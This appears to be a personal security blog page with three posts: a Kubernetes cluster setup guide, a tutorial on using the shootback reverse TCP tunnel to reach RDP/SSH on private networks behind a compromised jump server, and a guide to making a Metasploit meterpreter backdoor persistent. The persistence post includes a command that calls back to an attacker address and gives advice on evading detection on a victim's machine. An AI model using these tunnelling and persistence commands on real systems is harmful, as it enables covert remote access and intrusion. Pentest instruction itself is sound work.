Thursday, December 5, 2019

Setting up Kubernetes v1.16.3 in Ubuntu 18.04 using kubeadm

Written by Subhash Dasyam on 05 December with 1 comment

This tutorial is going to show how to setup your own kubernetes cluster (v.1.16.3 or latest) on ubuntu 18.04

Here i am installing kubernetes cluster on 3 servers

On all 3 servers

First, set up the Docker and Kubernetes repositories:

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

sudo add-apt-repository    "deb [arch=amd64] https://download.docker.com/linux/ubuntu \
   $(lsb_release -cs) \
   stable"

curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -

cat << EOF | sudo tee /etc/apt/sources.list.d/kubernetes.list
deb https://apt.kubernetes.io/ kubernetes-xenial main
EOF

Install Docker and Kubernetes packages:

Note that if you want to use a newer version of Kubernetes, change the version installed for kubelet, kubeadm, and kubectl. Make sure all three use the same version.

sudo apt-get update

sudo apt-get install -y docker-ce=18.09 kubelet kubeadm kubectl

sudo apt-mark hold docker-ce kubelet kubeadm kubectl

Enable iptables bridge call:

echo "net.bridge.bridge-nf-call-iptables=1" | sudo tee -a /etc/sysctl.conf

sudo sysctl -p

On the Kube master server

Initialize the cluster:

sudo kubeadm init --pod-network-cidr=10.244.0.0/16

Set up local kubeconfig:

mkdir -p $HOME/.kube

sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config

sudo chown $(id -u):$(id -g) $HOME/.kube/config

Note: If you are using Kubernetes 1.16 or later, you will need to use a newer flannel installation yaml instead:

kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/3f7d3e6c24f641e7ff557ebcea1136fdf4b1b6a1/Documentation/kube-flannel.yml

On each Kube node server

Join the node to the cluster:

sudo kubeadm join $controller_private_ip:6443 --token $token --discovery-token-ca-cert-hash $hash

On the Kube master server

Verify that all nodes are joined and ready:

kubectl get nodes

You should see all three servers with a status of Ready:

NAME                      STATUS   ROLES    AGE   VERSION
ip-192-168-2-101   Ready    master   54m   v1.16.3
ip-192-168-2-102   Ready    <none>   49m   v1.16.3
ip-192-168-2-103   Ready    <none>   49m   v1.16.3

Pentesting servers behind NAT | Reverse RDP Windows | Reverse SSH

Written by Subhash Dasyam on 05 December with No comments

Good day viewers,

Today i brought another interesting scenario on pentesting servers which are behind NAT or Windows Reverse RDP/SSH in lamen words connecting to windows/linux/xxxxx servers via RDP/SSH/TCP/UDP which are behind NAT.

in r/explainlikeimfive words

Imagine you are auditing / pentesting a server and you found a RCE on the server, unfortunately the server is just a bastion / jump server and there are application servers behind the jump server which are on private network and not exposed to public network. You need to find a way to audit the application servers listening on private network or you want to connect to these servers via SSH / RDP / TCP / UDP. How do we achieve that ? Yes I know there are number of ways to connect to these so let me explain you one way which i found was easy.

I tried many different netcat scenarios routing ports internally connecting via socat etc., without any luck.
I tried to do reverse SSH tunnel using plink, but here we have to expose our ssh username and password on the target pc, which i would never recommend this in pentesting if you want to be discrete.

Finally, I found what i was looking for "a reverse TCP tunnel which let you access target behind NAT or firewall" - shootback

It works fairly simple when you cannot directly connect to private networks directly it will let private networks connect back to you via jumpserver.

Your Machine

Syntax

python3 master.py -m <YOUR IP ADDRESS>:<YOUR_LISTEN_PORT> -c <YOUR IP ADDRESS>:<YOUR_LISTEN_PORT_REDIRECTED_PORT>

Example

python3 master.py -m 0.0.0.0:9999 -c 0.0.0.0:7676

On JumpServer / Target Machine

Syntax

python.exe slaver.py -m <YOUR_PUBLIC_IP or DYNAMIC DNS>:<YOUR_LISTEN_PORT> -t <TARGET_APPLICATION_IP_ADDRESS>:<TARGET_APPLICATION_PORT>

Example

python.exe slaver.py -m thisisexample.dyndns.com:9999 -t 10.30.11.54:3389

Once you run the above command you will see the connection being established to your listening machine

Now we see the connection is being forwarded to 7676 port, we should be able to connect to our local ip address on the port 7676

Voila!!! here it is i am connected to the private network behind a load balancer / NAT via jumpserver

Tip: If the target system doesn't have python you can always upload a portable python zip file and extract it, use your creativity.

Disclaimer: This is strictly for educational purposes only, please use this responsibly.

Cheers.

Metasploit Meterpreter Persistence even when you are not listening on the port | Just like a RAT

Written by Subhash Dasyam on 04 December with No comments

I came across an interesting dilemma, whether we can use meterpreter as a proper persistence remote adminsitration tool.

When i started exploring, i found that we can indeed make meterpreter session persistence, i.e., when you disconnect your PC and connect back the connection connects back to your meterpreter exploit handler

Lets see how to do this

Assume you have created the meterpreter payload (elf or windows binary) and you have started your handler on the port of your choice

Assume we got the connection back after executing the meterpreter binary

At this point, we are going to make the backdoor persistent, since otherwise, if the victim turns off the PC, the connection will be lost as long as it does not “visualize” the image again. To avoid this, we should use a Ruby script called “persistence” written by Carlos Perez. Showing the help:

https://github.com/rapid7/metasploit-framework/blob/master/scripts/meterpreter/persistence.rb

So seeing this, our command will be:

run persistence -U -i 5 -p 4444 -r 192.168.1.36

That is, every time the victim starts the session, the backdoor will try to open the connection every 5 seconds to the address 192.168.1.36:4444. The interval to choose will depend on what the attacker wants, if you want it to be a bit more stealthy, maybe with 5 min it is fine, if the interval is small, it is more likely to be detected.